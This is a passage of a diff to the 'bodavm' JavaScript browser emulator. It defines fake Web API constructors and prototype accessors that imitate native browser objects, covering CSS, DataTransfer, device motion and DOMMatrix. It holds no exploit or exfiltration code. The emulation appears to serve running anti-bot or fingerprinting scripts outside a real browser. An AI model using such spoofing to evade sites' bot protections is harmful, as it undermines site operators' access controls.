"replace", {configurable:true, enumerable:true, writable:true, value:function replace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "replace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSStyleSheet', "replaceSync", {configurable:true, enumerable:true, writable:true, value:function replaceSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "replaceSync", arguments)}},'prototype'); - -// CSSSupportsRule对象 -bodavm.memory.globalobj['CSSSupportsRule'] = function CSSSupportsRule(){if (!(this instanceof CSSSupportsRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSupportsRule'], "CSSSupportsRule"); -bodavm.memory.globalobj['CSSSupportsRule'].prototype.__proto__=bodavm.memory.globalobj['CSSConditionRule'].prototype; -bodavm.memory.globalobj['CSSSupportsRule'].__proto__=bodavm.memory.globalobj['CSSConditionRule']; - -// CSSTransformValue对象 -bodavm.memory.globalobj['CSSTransformValue'] = function CSSTransformValue(){if (!(this instanceof CSSTransformValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSTransformValue': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransformValue'], "CSSTransformValue"); -bodavm.memory.globalobj['CSSTransformValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSTransformValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; -bodavm.toolsFunc.defineProperty('CSSTransformValue', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "is2D", {configurable:true, enumerable:true, get:function is2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "is2D_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "toMatrix", {configurable:true, enumerable:true, writable:true, value:function toMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "toMatrix", arguments)}},'prototype'); - -// CSSTransition对象 -bodavm.memory.globalobj['CSSTransition'] = function CSSTransition(){if (!(this instanceof CSSTransition)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransition'], "CSSTransition"); -bodavm.memory.globalobj['CSSTransition'].prototype.__proto__=bodavm.memory.globalobj['Animation'].prototype; -bodavm.memory.globalobj['CSSTransition'].__proto__=bodavm.memory.globalobj['Animation']; -bodavm.toolsFunc.defineProperty('CSSTransition', "transitionProperty", {configurable:true, enumerable:true, get:function transitionProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransition'].prototype, "CSSTransition", "transitionProperty_get", arguments)}, set:undefined},'prototype'); - -// CSSTranslate对象 -bodavm.memory.globalobj['CSSTranslate'] = function CSSTranslate(){if (!(this instanceof CSSTranslate)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSTranslate': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTranslate'], "CSSTranslate"); -bodavm.memory.globalobj['CSSTranslate'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSTranslate'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSTranslate', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTranslate', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTranslate', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "z_get", arguments)}, set:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "z_set", arguments)}},'prototype'); - -// CSSUnitValue对象 -bodavm.memory.globalobj['CSSUnitValue'] = function CSSUnitValue(){if (!(this instanceof CSSUnitValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSUnitValue': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSUnitValue'], "CSSUnitValue"); -bodavm.memory.globalobj['CSSUnitValue'].prototype.__proto__=bodavm.memory.globalobj['CSSNumericValue'].prototype; -bodavm.memory.globalobj['CSSUnitValue'].__proto__=bodavm.memory.globalobj['CSSNumericValue']; -bodavm.toolsFunc.defineProperty('CSSUnitValue', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSUnitValue', "unit", {configurable:true, enumerable:true, get:function unit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "unit_get", arguments)}, set:undefined},'prototype'); - -// CSSUnparsedValue对象 -bodavm.memory.globalobj['CSSUnparsedValue'] = function CSSUnparsedValue(){if (!(this instanceof CSSUnparsedValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSUnparsedValue': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSUnparsedValue'], "CSSUnparsedValue"); -bodavm.memory.globalobj['CSSUnparsedValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSUnparsedValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; -bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "length_get", arguments)}, set:undefined},'prototype'); - -// CSSVariableReferenceValue对象 -bodavm.memory.globalobj['CSSVariableReferenceValue'] = function CSSVariableReferenceValue(){if (!(this instanceof CSSVariableReferenceValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSVariableReferenceValue': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSVariableReferenceValue'], "CSSVariableReferenceValue"); -bodavm.toolsFunc.defineProperty('CSSVariableReferenceValue', "variable", {configurable:true, enumerable:true, get:function variable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "variable_get", arguments)}, set:function variable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "variable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSVariableReferenceValue', "fallback", {configurable:true, enumerable:true, get:function fallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "fallback_get", arguments)}, set:undefined},'prototype'); - -// customElements对象 -bodavm.memory.globalobj['customElements'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['customElements'].__proto__=bodavm.memory.globalobj['CustomElementRegistry'].prototype; - -// CustomEvent对象 -bodavm.memory.globalobj['CustomEvent'] = function CustomEvent(){if (!(this instanceof CustomEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CustomEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomEvent'], "CustomEvent"); -bodavm.memory.globalobj['CustomEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['CustomEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('CustomEvent', "detail", {configurable:true, enumerable:true, get:function detail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomEvent'].prototype, "CustomEvent", "detail_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CustomEvent', "initCustomEvent", {configurable:true, enumerable:true, writable:true, value:function initCustomEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomEvent'].prototype, "CustomEvent", "initCustomEvent", arguments)}},'prototype'); - -// CustomStateSet对象 - -bodavm.memory.globalobj['CustomStateSet'] = function CustomStateSet(){if (!(this instanceof CustomStateSet)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CustomStateSet'], "CustomStateSet"); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "size_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "add", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "entries", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "forEach", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "has", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('CustomStateSet', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CustomStateSet'].prototype, "CustomStateSet", "values", arguments)}},'prototype'); - - -// DataTransfer对象 -bodavm.memory.globalobj['DataTransfer'] = function DataTransfer(){this._boarg= new bodaobj.window.DataTransfer();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransfer'], "DataTransfer"); -bodavm.toolsFunc.defineProperty('DataTransfer', "dropEffect", {configurable:true, enumerable:true, get:function dropEffect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "dropEffect_get", arguments)}, set:function dropEffect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "dropEffect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "effectAllowed", {configurable:true, enumerable:true, get:function effectAllowed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "effectAllowed_get", arguments)}, set:function effectAllowed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "effectAllowed_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "items", {configurable:true, enumerable:true, get:function items (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "items_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "types", {configurable:true, enumerable:true, get:function types (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "types_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "files", {configurable:true, enumerable:true, get:function files (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "files_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "clearData", {configurable:true, enumerable:true, writable:true, value:function clearData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "clearData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "getData", {configurable:true, enumerable:true, writable:true, value:function getData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "getData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "setData", {configurable:true, enumerable:true, writable:true, value:function setData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "setData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransfer', "setDragImage", {configurable:true, enumerable:true, writable:true, value:function setDragImage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransfer'].prototype, "DataTransfer", "setDragImage", arguments)}},'prototype'); - -// DataTransferItem对象 -bodavm.memory.globalobj['DataTransferItem'] = function DataTransferItem(){if (!(this instanceof DataTransferItem)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransferItem'], "DataTransferItem"); -bodavm.toolsFunc.defineProperty('DataTransferItem', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "kind_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItem', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsFile", {configurable:true, enumerable:true, writable:true, value:function getAsFile (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsFile", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsString", {configurable:true, enumerable:true, writable:true, value:function getAsString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsString", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItem', "webkitGetAsEntry", {configurable:true, enumerable:true, writable:true, value:function webkitGetAsEntry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "webkitGetAsEntry", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItem', "getAsFileSystemHandle", {configurable:true, enumerable:true, writable:true, value:function getAsFileSystemHandle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItem'].prototype, "DataTransferItem", "getAsFileSystemHandle", arguments)}},'prototype'); - -// DataTransferItemList对象 -bodavm.memory.globalobj['DataTransferItemList'] = function DataTransferItemList(){if (!(this instanceof DataTransferItemList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DataTransferItemList'], "DataTransferItemList"); -bodavm.toolsFunc.defineProperty('DataTransferItemList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItemList', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "add", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItemList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DataTransferItemList', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DataTransferItemList'].prototype, "DataTransferItemList", "remove", arguments)}},'prototype'); - -// DecompressionStream对象 -bodavm.memory.globalobj['DecompressionStream'] = function DecompressionStream(){if (!(this instanceof DecompressionStream)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DecompressionStream': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DecompressionStream'], "DecompressionStream"); -bodavm.toolsFunc.defineProperty('DecompressionStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DecompressionStream'].prototype, "DecompressionStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DecompressionStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DecompressionStream'].prototype, "DecompressionStream", "writable_get", arguments)}, set:undefined},'prototype'); - -// DelayNode对象 -bodavm.memory.globalobj['DelayNode'] = function DelayNode(){if (!(this instanceof DelayNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DelayNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DelayNode'], "DelayNode"); -bodavm.memory.globalobj['DelayNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['DelayNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('DelayNode', "delayTime", {configurable:true, enumerable:true, get:function delayTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelayNode'].prototype, "DelayNode", "delayTime_get", arguments)}, set:undefined},'prototype'); - -// DelegatedInkTrailPresenter对象 -bodavm.memory.globalobj['DelegatedInkTrailPresenter'] = function DelegatedInkTrailPresenter(){if (!(this instanceof DelegatedInkTrailPresenter)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DelegatedInkTrailPresenter'], "DelegatedInkTrailPresenter"); -bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "presentationArea", {configurable:true, enumerable:true, get:function presentationArea (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "presentationArea_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "expectedImprovement", {configurable:true, enumerable:true, get:function expectedImprovement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "expectedImprovement_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DelegatedInkTrailPresenter', "updateInkTrailStartPoint", {configurable:true, enumerable:true, writable:true, value:function updateInkTrailStartPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DelegatedInkTrailPresenter'].prototype, "DelegatedInkTrailPresenter", "updateInkTrailStartPoint", arguments)}},'prototype'); - -// DeviceMotionEvent对象 -bodavm.memory.globalobj['DeviceMotionEvent'] = function DeviceMotionEvent(){if (!(this instanceof DeviceMotionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'DeviceMotionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEvent'], "DeviceMotionEvent"); -bodavm.memory.globalobj['DeviceMotionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['DeviceMotionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "acceleration", {configurable:true, enumerable:true, get:function acceleration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "acceleration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "accelerationIncludingGravity", {configurable:true, enumerable:true, get:function accelerationIncludingGravity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "accelerationIncludingGravity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "rotationRate", {configurable:true, enumerable:true, get:function rotationRate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "rotationRate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEvent', "interval", {configurable:true, enumerable:true, get:function interval (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEvent'].prototype, "DeviceMotionEvent", "interval_get", arguments)}, set:undefined},'prototype'); - -// DeviceMotionEventAcceleration对象 -bodavm.memory.globalobj['DeviceMotionEventAcceleration'] = function DeviceMotionEventAcceleration(){if (!(this instanceof DeviceMotionEventAcceleration)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEventAcceleration'], "DeviceMotionEventAcceleration"); -bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEventAcceleration', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventAcceleration'].prototype, "DeviceMotionEventAcceleration", "z_get", arguments)}, set:undefined},'prototype'); - -// DeviceMotionEventRotationRate对象 -bodavm.memory.globalobj['DeviceMotionEventRotationRate'] = function DeviceMotionEventRotationRate(){if (!(this instanceof DeviceMotionEventRotationRate)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DeviceMotionEventRotationRate'], "DeviceMotionEventRotationRate"); -bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "alpha", {configurable:true, enumerable:true, get:function alpha (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "alpha_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "beta", {configurable:true, enumerable:true, get:function beta (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "beta_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('DeviceMotionEventRotationRate', "gamma", {configurable:true, enumerable:true, get:function gamma (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DeviceMotionEventRotationRate'].prototype, "DeviceMotionEventRotationRate", "gamma_get", arguments)}, set:undefined},'prototype'); - -// devicePixelRatio对象 -bodavm.memory.globalobj['devicePixelRatio'] = { - _boisinit:bodavm.config.isinit - } - -// DocumentTimeline对象 -bodavm.memory.globalobj['DocumentTimeline'] = function DocumentTimeline(){this._boarg= new bodaobj.window.DocumentTimeline();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DocumentTimeline'], "DocumentTimeline"); -bodavm.memory.globalobj['DocumentTimeline'].prototype.__proto__=bodavm.memory.globalobj['AnimationTimeline'].prototype; -bodavm.memory.globalobj['DocumentTimeline'].__proto__=bodavm.memory.globalobj['AnimationTimeline']; - -// DOMMatrixReadOnly对象 -bodavm.memory.globalobj['DOMMatrixReadOnly'] = function DOMMatrixReadOnly(){this._boarg= new bodaobj.window.DOMMatrixReadOnly();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrixReadOnly'], "DOMMatrixReadOnly"); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromFloat32Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat32Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", "fromFloat32Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrixReadOnly', "fromFloat64Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat64Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrixReadOnly'].undefined, "DOMMatrixReadOnly", 